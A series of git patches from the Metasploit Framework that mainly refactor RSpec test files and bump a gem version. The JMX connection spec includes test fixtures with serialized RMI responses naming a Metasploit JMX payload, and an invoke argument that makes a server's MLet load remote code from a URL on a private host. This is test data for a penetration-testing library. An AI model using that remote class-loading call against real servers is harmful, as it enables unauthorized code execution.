"\xa4\xa5\x6d\xb6\x02\x00\x02\x5b\x00\x04\x61\x64\x64\x72\x74\x00" + + "\x02\x5b\x42\x4c\x00\x03\x75\x69\x64\x74\x00\x15\x4c\x6a\x61\x76" + + "\x61\x2f\x72\x6d\x69\x2f\x73\x65\x72\x76\x65\x72\x2f\x55\x49\x44" + + "\x3b\x70\x78\x70\x75\x72\x00\x02\x5b\x42\xac\xf3\x17\xf8\x06\x08" + + "\x54\xe0\x02\x00\x00\x70\x78\x70\x00\x00\x00\x08\x6b\x02\xc7\x72" + + "\x60\x1c\xc7\x95\x73\x72\x00\x13\x6a\x61\x76\x61\x2e\x72\x6d\x69" + + "\x2e\x73\x65\x72\x76\x65\x72\x2e\x55\x49\x44\x0f\x12\x70\x0d\xbf" + + "\x36\x4f\x12\x02\x00\x03\x53\x00\x05\x63\x6f\x75\x6e\x74\x4a\x00" + + "\x04\x74\x69\x6d\x65\x49\x00\x06\x75\x6e\x69\x71\x75\x65\x70\x78" + + "\x70\x80\x01\x00\x00\x01\x49\xb5\xf8\x00\xea\xe9\x62\xc1\xc0" + end + + let(:return_io) { + StringIO.new(return_data).tap do |string_io| + def string_io.get_once + read + end + + def string_io.has_read_data?(_timeout) + !eof? + end + end + } + it "returns a Rex::Java::Serialization::Model::Stream" do - expect(mod.recv_return(sock: return_io)).to be_a(Rex::Proto::Rmi::Model::ReturnValue) + expect(instance.recv_return(sock: return_io)).to be_a(Rex::Proto::Rmi::Model::ReturnValue) end end context "when end point doesn't return a value to the call" do it "returns nil" do - expect(mod.recv_return(sock: io)).to be_nil + expect(instance.recv_return(sock: io)).to be_nil end end end From e3f2db8f095c577db862764d6be348a5250f8403 Mon Sep 17 00:00:00 2001 From: Luke Imhoff <luke_imhoff@rapid7.com> Date: Thu, 29 Oct 2015 13:34:07 -0500 Subject: [PATCH 1522/2172] Fix allows in Exploit::Remote::Java::Rmi::Client::Jmx::Connection MSP-13484 --- .../java/rmi/client/jmx/connection_spec.rb | 204 +++++++++--------- 1 file changed, 107 insertions(+), 97 deletions(-) diff --git a/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/connection_spec.rb b/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/connection_spec.rb index 59dae1aa06..75e6e29541 100644 --- a/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/connection_spec.rb +++ b/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/connection_spec.rb @@ -8,78 +8,8 @@ require 'stringio' RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Connection do - let(:name_get) { 'DefaultDomain:type=MLet' } - - let(:get_object_instance_response) do - "\x51\xac\xed\x00\x05\x77\x0f\x01\x1e\xc8\x7c\x01\x00\x00\x01\x4c" + - "\x4e\x3d\x1c\x2f\x80\x08\x73\x72\x00\x1f\x6a\x61\x76\x61\x78\x2e" + - "\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a\x65\x63" + - "\x74\x49\x6e\x73\x74\x61\x6e\x63\x65\xc7\x1a\x0a\xcf\xad\x28\x7b" + - "\x76\x02\x00\x02\x4c\x00\x09\x63\x6c\x61\x73\x73\x4e\x61\x6d\x65" + - "\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74" + - "\x72\x69\x6e\x67\x3b\x4c\x00\x04\x6e\x61\x6d\x65\x74\x00\x1d\x4c" + - "\x6a\x61\x76\x61\x78\x2f\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74" + - "\x2f\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x3b\x70\x78\x70\x74" + - "\x00\x1d\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65" + - "\x6e\x74\x2e\x6c\x6f\x61\x64\x69\x6e\x67\x2e\x4d\x4c\x65\x74\x73" + - "\x72\x00\x1b\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d" + - "\x65\x6e\x74\x2e\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03" + - "\xa7\x1b\xeb\x6d\x15\xcf\x03\x00\x00\x70\x78\x70\x74\x00\x17\x44" + - "\x65\x66\x61\x75\x6c\x74\x44\x6f\x6d\x61\x69\x6e\x3a\x74\x79\x70" + - "\x65\x3d\x4d\x4c\x65\x74\x78" - end - let(:name_create) { 'javax.management.loading.MLet' } - let(:create_mbean_response) do - "\x51\xac\xed\x00\x05\x77\x0f\x01\x1e\xc8\x7c\x01\x00\x00\x01\x4c" + - "\x4e\x3d\x1c\x2f\x80\x07\x73\x72\x00\x1f\x6a\x61\x76\x61\x78\x2e" + - "\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a\x65\x63" + - "\x74\x49\x6e\x73\x74\x61\x6e\x63\x65\xc7\x1a\x0a\xcf\xad\x28\x7b" + - "\x76\x02\x00\x02\x4c\x00\x09\x63\x6c\x61\x73\x73\x4e\x61\x6d\x65" + - "\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74" + - "\x72\x69\x6e\x67\x3b\x4c\x00\x04\x6e\x61\x6d\x65\x74\x00\x1d\x4c" + - "\x6a\x61\x76\x61\x78\x2f\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74" + - "\x2f\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x3b\x70\x78\x70\x74" + - "\x00\x1d\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65" + - "\x6e\x74\x2e\x6c\x6f\x61\x64\x69\x6e\x67\x2e\x4d\x4c\x65\x74\x73" + - "\x72\x00\x1b\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d" + - "\x65\x6e\x74\x2e\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03" + - "\xa7\x1b\xeb\x6d\x15\xcf\x03\x00\x00\x70\x78\x70\x74\x00\x17\x44" + - "\x65\x66\x61\x75\x6c\x74\x44\x6f\x6d\x61\x69\x6e\x3a\x74\x79\x70" + - "\x65\x3d\x4d\x4c\x65\x74\x78" - end - - let(:invoke_args) do - { - object: 'DefaultDomain:type=MLet', - method: 'getMBeansFromURL', - args: { 'java.lang.String' => 'http:///http://192.168.0.3:8080/nH8rSZGf5WkYF/mlet' } - } - end - - let(:invoke_response) do - "\x51\xac\xed\x00\x05\x77\x0f\x01\x1e\xc8\x7c\x01\x00\x00\x01\x4c" + - "\x4e\x3d\x1c\x2f\x80\x09\x73\x72\x00\x11\x6a\x61\x76\x61\x2e\x75" + - "\x74\x69\x6c\x2e\x48\x61\x73\x68\x53\x65\x74\xba\x44\x85\x95\x96" + - "\xb8\xb7\x34\x03\x00\x00\x70\x78\x70\x77\x0c\x00\x00\x00\x10\x3f" + - "\x40\x00\x00\x00\x00\x00\x01\x73\x72\x00\x1f\x6a\x61\x76\x61\x78" + - "\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a\x65" + - "\x63\x74\x49\x6e\x73\x74\x61\x6e\x63\x65\xc7\x1a\x0a\xcf\xad\x28" + - "\x7b\x76\x02\x00\x02\x4c\x00\x09\x63\x6c\x61\x73\x73\x4e\x61\x6d" + - "\x65\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53" + - "\x74\x72\x69\x6e\x67\x3b\x4c\x00\x04\x6e\x61\x6d\x65\x74\x00\x1d" + - "\x4c\x6a\x61\x76\x61\x78\x2f\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e" + - "\x74\x2f\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x3b\x70\x78\x70" + - "\x74\x00\x15\x6d\x65\x74\x61\x73\x70\x6c\x6f\x69\x74\x2e\x4a\x4d" + - "\x58\x50\x61\x79\x6c\x6f\x61\x64\x73\x72\x00\x1b\x6a\x61\x76\x61" + - "\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a" + - "\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03\xa7\x1b\xeb\x6d\x15\xcf\x03" + - "\x00\x00\x70\x78\x70\x74\x00\x21\x4d\x4c\x65\x74\x47\x78\x61\x7a" + - "\x6f\x6f\x6d\x79\x3a\x6e\x61\x6d\x65\x3d\x6a\x6d\x78\x70\x61\x79" + - "\x6c\x6f\x61\x64\x2c\x69\x64\x3d\x31\x78\x78" - end - let(:remote_address) do '172.16.158.132' end @@ -95,20 +25,47 @@ RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Connection do describe "#send_jmx_get_object_instance" do context "when the object exists" do + # + # lets + # + + let(:name_get) { 'DefaultDomain:type=MLet' } + + # + # Callbacks + # + before(:each) do - allow_any_instance_of(::StringIO).to receive(:put) do |io, data| - io.seek(0) - io.write(get_object_instance_response) - io.seek(0) + def io.get_once + read end - allow_any_instance_of(::StringIO).to receive(:get_once) do |io, length, timeout| - io.read - end - - allow_any_instance_of(::StringIO).to receive(:has_read_data?) do |io| + def io.has_read_data?(_timeout) false end + + def io.put(_data) + seek(0) + write( + "\x51\xac\xed\x00\x05\x77\x0f\x01\x1e\xc8\x7c\x01\x00\x00\x01\x4c" + + "\x4e\x3d\x1c\x2f\x80\x08\x73\x72\x00\x1f\x6a\x61\x76\x61\x78\x2e" + + "\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a\x65\x63" + + "\x74\x49\x6e\x73\x74\x61\x6e\x63\x65\xc7\x1a\x0a\xcf\xad\x28\x7b" + + "\x76\x02\x00\x02\x4c\x00\x09\x63\x6c\x61\x73\x73\x4e\x61\x6d\x65" + + "\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74" + + "\x72\x69\x6e\x67\x3b\x4c\x00\x04\x6e\x61\x6d\x65\x74\x00\x1d\x4c" + + "\x6a\x61\x76\x61\x78\x2f\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74" + + "\x2f\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x3b\x70\x78\x70\x74" + + "\x00\x1d\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65" + + "\x6e\x74\x2e\x6c\x6f\x61\x64\x69\x6e\x67\x2e\x4d\x4c\x65\x74\x73" + + "\x72\x00\x1b\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d" + + "\x65\x6e\x74\x2e\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03" + + "\xa7\x1b\xeb\x6d\x15\xcf\x03\x00\x00\x70\x78\x70\x74\x00\x17\x44" + + "\x65\x66\x61\x75\x6c\x74\x44\x6f\x6d\x61\x69\x6e\x3a\x74\x79\x70" + + "\x65\x3d\x4d\x4c\x65\x74\x78" + ) + seek(0) + end end it "returns true" do @@ -120,19 +77,36 @@ RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Connection do describe "#send_jmx_create_mbean" do context "when the object is created successfully" do before(:each) do - allow_any_instance_of(::StringIO).to receive(:put) do |io, data| - io.seek(0) - io.write(create_mbean_response) - io.seek(0) + def io.get_once + read end - allow_any_instance_of(::StringIO).to receive(:get_once) do |io, length, timeout| - io.read - end - - allow_any_instance_of(::StringIO).to receive(:has_read_data?) do |io| + def io.has_read_data?(_timeout) false end + + def io.put(_data) + seek(0) + write( + "\x51\xac\xed\x00\x05\x77\x0f\x01\x1e\xc8\x7c\x01\x00\x00\x01\x4c" + + "\x4e\x3d\x1c\x2f\x80\x07\x73\x72\x00\x1f\x6a\x61\x76\x61\x78\x2e" + + "\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a\x65\x63" + + "\x74\x49\x6e\x73\x74\x61\x6e\x63\x65\xc7\x1a\x0a\xcf\xad\x28\x7b" + + "\x76\x02\x00\x02\x4c\x00\x09\x63\x6c\x61\x73\x73\x4e\x61\x6d\x65" + + "\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74" + + "\x72\x69\x6e\x67\x3b\x4c\x00\x04\x6e\x61\x6d\x65\x74\x00\x1d\x4c" + + "\x6a\x61\x76\x61\x78\x2f\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74" + + "\x2f\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x3b\x70\x78\x70\x74" + + "\x00\x1d\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65" + + "\x6e\x74\x2e\x6c\x6f\x61\x64\x69\x6e\x67\x2e\x4d\x4c\x65\x74\x73" + + "\x72\x00\x1b\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d" + + "\x65\x6e\x74\x2e\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03" + + "\xa7\x1b\xeb\x6d\x15\xcf\x03\x00\x00\x70\x78\x70\x74\x00\x17\x44" + + "\x65\x66\x61\x75\x6c\x74\x44\x6f\x6d\x61\x69\x6e\x3a\x74\x79\x70" + + "\x65\x3d\x4d\x4c\x65\x74\x78" + ) + seek(0) + end end it "returns true" do @@ -143,20 +117,56 @@ RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Connection do describe "#send_jmx_invoke" do context "when the remote method is called successfully" do + # + # lets + # + + let(:invoke_args) do + { + object: 'DefaultDomain:type=MLet', + method: 'getMBeansFromURL', + args: { 'java.lang.String' => 'http:///http://192.168.0.3:8080/nH8rSZGf5WkYF/mlet' } + } + end + + # + # Callbacks + # + before(:each) do - allow_any_instance_of(::StringIO).to receive(:put) do |io, data| - io.seek(0) - io.write(invoke_response) - io.seek(0) + def io.get_once + read end - allow_any_instance_of(::StringIO).to receive(:get_once) do |io, length, timeout| - io.read - end - - allow_any_instance_of(::StringIO).to receive(:has_read_data?) do |io| + def io.has_read_data?(_timeout) false end + + def io.put(_data) + seek(0) + write( + "\x51\xac\xed\x00\x05\x77\x0f\x01\x1e\xc8\x7c\x01\x00\x00\x01\x4c" + + "\x4e\x3d\x1c\x2f\x80\x09\x73\x72\x00\x11\x6a\x61\x76\x61\x2e\x75" + + "\x74\x69\x6c\x2e\x48\x61\x73\x68\x53\x65\x74\xba\x44\x85\x95\x96" + + "\xb8\xb7\x34\x03\x00\x00\x70\x78\x70\x77\x0c\x00\x00\x00\x10\x3f" + + "\x40\x00\x00\x00\x00\x00\x01\x73\x72\x00\x1f\x6a\x61\x76\x61\x78" + + "\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a\x65" + + "\x63\x74\x49\x6e\x73\x74\x61\x6e\x63\x65\xc7\x1a\x0a\xcf\xad\x28" + + "\x7b\x76\x02\x00\x02\x4c\x00\x09\x63\x6c\x61\x73\x73\x4e\x61\x6d" + + "\x65\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53" + + "\x74\x72\x69\x6e\x67\x3b\x4c\x00\x04\x6e\x61\x6d\x65\x74\x00\x1d" + + "\x4c\x6a\x61\x76\x61\x78\x2f\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e" + + "\x74\x2f\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x3b\x70\x78\x70" + + "\x74\x00\x15\x6d\x65\x74\x61\x73\x70\x6c\x6f\x69\x74\x2e\x4a\x4d" + + "\x58\x50\x61\x79\x6c\x6f\x61\x64\x73\x72\x00\x1b\x6a\x61\x76\x61" + + "\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a" + + "\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03\xa7\x1b\xeb\x6d\x15\xcf\x03" + + "\x00\x00\x70\x78\x70\x74\x00\x21\x4d\x4c\x65\x74\x47\x78\x61\x7a" + + "\x6f\x6f\x6d\x79\x3a\x6e\x61\x6d\x65\x3d\x6a\x6d\x78\x70\x61\x79" + + "\x6c\x6f\x61\x64\x2c\x69\x64\x3d\x31\x78\x78" + ) + seek(0) + end end it "returns true" do From bde4f8bbe71f1d4ee8e01d72eaafc615386a3743 Mon Sep 17 00:00:00 2001 From: Luke Imhoff <luke_imhoff@rapid7.com> Date: Thu, 29 Oct 2015 13:39:26 -0500 Subject: [PATCH 1523/2172] Fix allows in Exploit::Remote::Java::Rmi::Client::Jmx::Server spec MSP-13484 --- .../remote/java/rmi/client/jmx/server_spec.rb | 90 ++++++++++--------- 1 file changed, 50 insertions(+), 40 deletions(-) diff --git a/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/server_spec.rb b/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/server_spec.rb index 4ce5dbbdf6..371c987b16 100644 --- a/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/server_spec.rb +++ b/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/server_spec.rb @@ -7,58 +7,68 @@ require 'msf/core/exploit/java/rmi/client' require 'stringio' RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Server do + subject(:instance) { + klass.new + } - let(:new_client_response) do - "\x51\xac\xed\x00\x05\x77\x0f\x01\x82\x73\x92\x35\x00\x00\x01\x4c" + - "\x48\x27\x84\x49\x80\xbf\x73\x72\x00\x32\x6a\x61\x76\x61\x78\x2e" + - "\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x72\x65\x6d\x6f\x74" + - "\x65\x2e\x72\x6d\x69\x2e\x52\x4d\x49\x43\x6f\x6e\x6e\x65\x63\x74" + - "\x69\x6f\x6e\x49\x6d\x70\x6c\x5f\x53\x74\x75\x62\x00\x00\x00\x00" + - "\x00\x00\x00\x02\x02\x00\x00\x70\x78\x72\x00\x1a\x6a\x61\x76\x61" + - "\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76\x65\x72\x2e\x52\x65\x6d\x6f" + - "\x74\x65\x53\x74\x75\x62\xe9\xfe\xdc\xc9\x8b\xe1\x65\x1a\x02\x00" + - "\x00\x70\x78\x72\x00\x1c\x6a\x61\x76\x61\x2e\x72\x6d\x69\x2e\x73" + - "\x65\x72\x76\x65\x72\x2e\x52\x65\x6d\x6f\x74\x65\x4f\x62\x6a\x65" + - "\x63\x74\xd3\x61\xb4\x91\x0c\x61\x33\x1e\x03\x00\x00\x70\x78\x70" + - "\x77\x37\x00\x0a\x55\x6e\x69\x63\x61\x73\x74\x52\x65\x66\x00\x0e" + - "\x31\x37\x32\x2e\x31\x36\x2e\x31\x35\x38\x2e\x31\x33\x32\x00\x00" + - "\x13\x26\xa2\x01\x50\x97\x40\xd4\x90\xd1\x82\x73\x92\x35\x00\x00" + - "\x01\x4c\x48\x27\x84\x49\x80\xbe\x01\x78" - end - - let(:remote_address) do - '172.16.158.132' - end - - subject(:mod) do - mod = ::Msf::Exploit.new - mod.extend ::Msf::Exploit::Remote::Java::Rmi::Client - mod.send(:initialize) - mod - end - - let(:io) { StringIO.new('', 'w+b') } + let(:klass) { + Class.new(Msf::Exploit) do + include Msf::Exploit::Remote::Java::Rmi::Client + end + } describe "#send_new_client" do context "when there is an RMIServerImpl_Stub interface" do + # + # lets + # + + let(:io) { + StringIO.new('', 'w+b') + } + + let(:remote_address) { + '172.16.158.132' + } + + # + # Callbacks + # + before(:each) do - allow_any_instance_of(::StringIO).to receive(:put) do |io, data| - io.seek(0) - io.write(new_client_response) - io.seek(0) + def io.get_once + read end - allow_any_instance_of(::StringIO).to receive(:get_once) do |io, length, timeout| - io.read - end - - allow_any_instance_of(::StringIO).to receive(:has_read_data?) do |io| + def io.has_read_data?(_timeout) false end + + def io.put(_data) + seek(0) + write( + "\x51\xac\xed\x00\x05\x77\x0f\x01\x82\x73\x92\x35\x00\x00\x01\x4c" + + "\x48\x27\x84\x49\x80\xbf\x73\x72\x00\x32\x6a\x61\x76\x61\x78\x2e" + + "\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x72\x65\x6d\x6f\x74" + + "\x65\x2e\x72\x6d\x69\x2e\x52\x4d\x49\x43\x6f\x6e\x6e\x65\x63\x74" + + "\x69\x6f\x6e\x49\x6d\x70\x6c\x5f\x53\x74\x75\x62\x00\x00\x00\x00" + + "\x00\x00\x00\x02\x02\x00\x00\x70\x78\x72\x00\x1a\x6a\x61\x76\x61" + + "\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76\x65\x72\x2e\x52\x65\x6d\x6f" + + "\x74\x65\x53\x74\x75\x62\xe9\xfe\xdc\xc9\x8b\xe1\x65\x1a\x02\x00" + + "\x00\x70\x78\x72\x00\x1c\x6a\x61\x76\x61\x2e\x72\x6d\x69\x2e\x73" + + "\x65\x72\x76\x65\x72\x2e\x52\x65\x6d\x6f\x74\x65\x4f\x62\x6a\x65" + + "\x63\x74\xd3\x61\xb4\x91\x0c\x61\x33\x1e\x03\x00\x00\x70\x78\x70" + + "\x77\x37\x00\x0a\x55\x6e\x69\x63\x61\x73\x74\x52\x65\x66\x00\x0e" + + "\x31\x37\x32\x2e\x31\x36\x2e\x31\x35\x38\x2e\x31\x33\x32\x00\x00" + + "\x13\x26\xa2\x01\x50\x97\x40\xd4\x90\xd1\x82\x73\x92\x35\x00\x00" + + "\x01\x4c\x48\x27\x84\x49\x80\xbe\x01\x78" + ) + seek(0) + end end it "returns the reference information" do - expect(mod.send_new_client(sock: io)[:address]).to eq(remote_address) + expect(instance.send_new_client(sock: io)[:address]).to eq(remote_address) end end end From 4f2ed69daa63a1823b5af2e51bbe626fc8e90f59 Mon Sep 17 00:00:00 2001 From: Luke Imhoff <luke_imhoff@rapid7.com> Date: Thu, 12 Nov 2015 10:46:05 -0600 Subject: [PATCH 1524/2172] Update fivemat to rspec 3 compatible version MS-673 --- Gemfile | 2 +- Gemfile.lock | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/Gemfile b/Gemfile index d767b06c50..9893680a4d 100755 --- a/Gemfile +++ b/Gemfile @@ -24,7 +24,7 @@ group :development, :test do # automatically include factories from spec/factories gem 'factory_girl_rails', '~> 4.5.0' # Make rspec output shorter and more useful - gem 'fivemat', '1.2.1' + gem 'fivemat', '~> 1.3.1' # running documentation generation tasks and rspec tasks gem 'rake', '>= 10.0.0' # Define `rake spec`. Must be in development AND test so that its available by default as a rake test when the diff --git a/Gemfile.lock b/Gemfile.lock index fa02a74647..a07d92b543 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -97,7 +97,7 @@ GEM railties (>= 3.0.0) ffi (1.9.8) filesize (0.1.1) - fivemat (1.2.1) + fivemat (1.3.2) gherkin (2.12.2) multi_json (~> 1.3) hike (1.2.3) @@ -236,7 +236,7 @@ DEPENDENCIES aruba cucumber-rails factory_girl_rails (~> 4.5.0) - fivemat (= 1.2.1) + fivemat (~> 1.3.1) metasploit-framework! pry rake (>= 10.0.0) From f31e57878010b131ce75278fb824f42d88dd374b Mon Sep 17 00:00:00 2001 From: Luke Imhoff <luke_imhoff@rapid7.com> Date: Thu, 12 Nov 2015 11:25:40 -0600 Subject: [PATCH 1525/2172] Add missing RSpec. before describe --- spec/lib/msf/base/sessions/mainframe_shell_spec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/spec/lib/msf/base/sessions/mainframe_shell_spec.rb b/spec/lib/msf/base/sessions/mainframe_shell_spec.rb index 05702c3dd3..d015770ec7 100644 --- a/spec/lib/msf/base/sessions/mainframe_shell_spec.rb +++ b/spec/lib/msf/base/sessions/mainframe_shell_spec.rb @@ -7,7 +7,7 @@ require 'msf/base/sessions/mainframe_shell' # A quick test that MainframeShell is operable # Author: Bigendian Smalls # -describe Msf::Sessions::MainframeShell do +RSpec.describe Msf::Sessions::MainframeShell do it 'extends Msf::Sessions::CommandShell to include EBCDIC cp1047 codepage translation' do args=[0, {:datastore=> From 04ea44e76b07c8e95d7e4b98d3a015ce1c21b71b Mon Sep 17 00:00:00 2001 From: Luke Imhoff <luke_imhoff@rapid7.com> Date: Fri, 13 Nov 2015 10:31:35 -0600 Subject: [PATCH 1526/2172] eq {} -> eq({}) So that the `{}` isn't interpreted as a block to `eq`. --- spec/lib/rex/proto/http/client_spec.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/spec/lib/rex/proto/http/client_spec.rb b/spec/lib/rex/proto/http/client_spec.rb index d4076fc4ce..7e820ea176 100644 --- a/spec/lib/rex/proto/http/client_spec.rb +++ b/spec/lib/rex/proto/http/client_spec.rb @@ -38,7 +38,7 @@ RSpec.describe Rex::Proto::Http::Client do describe "#set_config" do it "should respond to #set_config" do - expect(cli.set_config).to eq {} + expect(cli.set_config).to eq({}) end end @@ -50,7 +50,7 @@ RSpec.describe Rex::Proto::Http::Client do it "should have a set of default instance variables" do expect(cli.instance_variable_get(:@hostname)).to eq ip expect(cli.instance_variable_get(:@port)).to eq 80 - expect(cli.instance_variable_get(:@context)).to eq {} + expect(cli.instance_variable_get(:@context)).to eq({}) expect(cli.instance_variable_get(:@ssl)).to be_falsey expect(cli.instance_variable_get(:@proxies)).to be_nil expect(cli.instance_variable_get(:@username)).to be_empty From 76d1f6ba0a37b9c7eab358aa4d71ae49b6ddc36b Mon Sep 17 00:00:00 2001 From: Luke Imhoff <luke_imhoff@rapid7.com> Date: Fri, 13 Nov 2015 10:35:46 -0600 Subject: [PATCH 1527/2172] Fix Rex::Psot::Meterpreter::PacketParser spec MSP-13484 Use allow instead of expect because call count isn't important. --- spec/lib/rex/post/meterpreter/packet_parser_spec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/spec/lib/rex/post/meterpreter/packet_parser_spec.rb b/spec/lib/rex/post/meterpreter/packet_parser_spec.rb index decb87bbc6..d028d0a944 100644 --- a/spec/lib/rex/post/meterpreter/packet_parser_spec.rb +++ b/spec/lib/rex/post/meterpreter/packet_parser_spec.rb @@ -13,7 +13,7 @@ RSpec.describe Rex::Post::Meterpreter::PacketParser do "test_method") @raw = @req_packt.to_r @sock = double('Socket') - expect(@sock).to receive(:read) do |arg| + allow(@sock).to receive(:read) do |arg| @raw.slice!(0,arg) end end From bb7c463c44d232c97c0643df300b9e7968cae12e Mon Sep 17 00:00:00 2001 From: Luke Imhoff <luke_imhoff@rapid7.com> Date: Fri, 13 Nov 2015 11:00:04 -0600 Subject: [PATCH 1528/2172] Remove operators after .to with matchers MSP-13484 --- spec/lib/msf/core/modules/loader/base_spec.rb | 2 +- spec/lib/msf/core/modules/namespace_spec.rb | 2 +- .../console/command_dispatcher/core_spec.rb | 8 ++--- .../ui/console/command_dispatcher/db_spec.rb | 30 +++++++++---------- spec/lib/rex/exploitation/js/detect_spec.rb | 6 ++-- spec/lib/rex/exploitation/js/memory_spec.rb | 6 ++-- spec/lib/rex/exploitation/js/network_spec.rb | 4 +-- spec/lib/rex/exploitation/js/utils_spec.rb | 2 +- spec/lib/rex/exploitation/ropdb_spec.rb | 10 +++---- spec/lib/rex/post/meterpreter/packet_spec.rb | 2 +- spec/msfupdate_spec.rb | 4 +-- 11 files changed, 38 insertions(+), 38 deletions(-) diff --git a/spec/lib/msf/core/modules/loader/base_spec.rb b/spec/lib/msf/core/modules/loader/base_spec.rb index fb87c9de66..0400c28422 100644 --- a/spec/lib/msf/core/modules/loader/base_spec.rb +++ b/spec/lib/msf/core/modules/loader/base_spec.rb @@ -188,7 +188,7 @@ RSpec.describe Msf::Modules::Loader::Base do direct_index = described_class::NAMESPACE_MODULE_NAMES.index('Msf') last_index = described_class::NAMESPACE_MODULE_NAMES.length - 1 - expect(last_index).to > direct_index + expect(last_index).to be > direct_index end end diff --git a/spec/lib/msf/core/modules/namespace_spec.rb b/spec/lib/msf/core/modules/namespace_spec.rb index bf4c79e160..ce8fa1588d 100644 --- a/spec/lib/msf/core/modules/namespace_spec.rb +++ b/spec/lib/msf/core/modules/namespace_spec.rb @@ -107,7 +107,7 @@ RSpec.describe Msf::Modules::Namespace do end it 'should be newer than Msf::Framework::Major' do - expect(major).to > Msf::Framework::Major + expect(major).to be > Msf::Framework::Major end it 'should return nil' do diff --git a/spec/lib/msf/ui/console/command_dispatcher/core_spec.rb b/spec/lib/msf/ui/console/command_dispatcher/core_spec.rb index 4b062f1d71..9cff92fea8 100644 --- a/spec/lib/msf/ui/console/command_dispatcher/core_spec.rb +++ b/spec/lib/msf/ui/console/command_dispatcher/core_spec.rb @@ -113,14 +113,14 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Core do if framework_re @output = [] core.cmd_getg(name) - expect(@output.join).to =~ framework_re + expect(@output.join).to match framework_re end # test the local value if specified if module_re @output = [] core.cmd_get(name) - expect(@output.join).to =~ module_re + expect(@output.join).to match module_re end end @@ -128,10 +128,10 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Core do describe "without arguments" do it "should show the correct help message" do core.cmd_get - expect(@output.join).to =~ /Usage: get / + expect(@output.join).to match /Usage: get / @output = [] core.cmd_getg - expect(@output.join).to =~ /Usage: getg / + expect(@output.join).to match /Usage: getg / end end diff --git a/spec/lib/msf/ui/console/command_dispatcher/db_spec.rb b/spec/lib/msf/ui/console/command_dispatcher/db_spec.rb index 0523458532..243bd1d8d9 100644 --- a/spec/lib/msf/ui/console/command_dispatcher/db_spec.rb +++ b/spec/lib/msf/ui/console/command_dispatcher/db_spec.rb 